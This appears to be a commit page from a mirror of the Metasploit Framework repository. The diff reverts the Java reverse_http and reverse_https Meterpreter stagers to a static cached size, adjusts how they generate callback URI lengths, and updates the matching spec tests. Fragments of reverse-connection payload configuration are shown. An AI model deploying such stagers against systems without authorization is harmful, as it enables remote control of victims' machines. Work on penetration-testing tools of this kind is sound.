infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Revert Java back to static size for cache purposes (less cpu usage on startup)

bug/bundler_fix
HD Moore 2015-03-18 16:24:01 -05:00
parent 33bbf7cb7e
commit 346b1d539f
3 changed files with 22 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

12
modules/payloads/stagers/java/reverse_http.rb
View File

@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_http'
module Metasploit3 module Metasploit3
CachedSize = :dynamic CachedSize = 5499
include Msf::Payload::Stager include Msf::Payload::Stager
include Msf::Payload::Java include Msf::Payload::Java
@ -40,13 +40,21 @@ module Metasploit3
end end
def config def config
# Default URL length is 30-256 bytes
uri_req_len = 30 + rand(256-30)
# Generate the short default URL if we don't know available space
if self.available_space.nil?
uri_req_len = 5
end
spawn = datastore["Spawn"] || 2 spawn = datastore["Spawn"] || 2
c = "" c = ""
c << "Spawn=#{spawn}\n" c << "Spawn=#{spawn}\n"
c << "URL=http://#{datastore["LHOST"]}" c << "URL=http://#{datastore["LHOST"]}"
c << ":#{datastore["LPORT"]}" if datastore["LPORT"] c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
c << "/" c << "/"
c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ,30+rand(256-30)) c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ, uri_req_len)
c << "\n" c << "\n"
c c

12
modules/payloads/stagers/java/reverse_https.rb
View File

@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_https'
module Metasploit3 module Metasploit3
CachedSize = :dynamic CachedSize = 6307
include Msf::Payload::Stager include Msf::Payload::Stager
include Msf::Payload::Java include Msf::Payload::Java
@ -42,13 +42,21 @@ module Metasploit3
end end
def config def config
# Default URL length is 30-256 bytes
uri_req_len = 30 + rand(256-30)
# Generate the short default URL if we don't know available space
if self.available_space.nil?
uri_req_len = 5
end
spawn = datastore["Spawn"] || 2 spawn = datastore["Spawn"] || 2
c = "" c = ""
c << "Spawn=#{spawn}\n" c << "Spawn=#{spawn}\n"
c << "URL=https://#{datastore["LHOST"]}" c << "URL=https://#{datastore["LHOST"]}"
c << ":#{datastore["LPORT"]}" if datastore["LPORT"] c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
c << "/" c << "/"
c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ,30+rand(256-30)) c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ, uri_req_len)
c << "\n" c << "\n"
c c

4
spec/modules/payloads_spec.rb
View File

@ -885,7 +885,7 @@ describe 'modules/payloads', :content do
'stagers/java/reverse_http', 'stagers/java/reverse_http',
'stages/java/meterpreter' 'stages/java/meterpreter'
], ],
dynamic_size: true, dynamic_size: false,
modules_pathname: modules_pathname, modules_pathname: modules_pathname,
reference_name: 'java/meterpreter/reverse_http' reference_name: 'java/meterpreter/reverse_http'
end end
@ -896,7 +896,7 @@ describe 'modules/payloads', :content do
'stagers/java/reverse_https', 'stagers/java/reverse_https',
'stages/java/meterpreter' 'stages/java/meterpreter'
], ],
dynamic_size: true, dynamic_size: false,
modules_pathname: modules_pathname, modules_pathname: modules_pathname,
reference_name: 'java/meterpreter/reverse_https' reference_name: 'java/meterpreter/reverse_https'
end end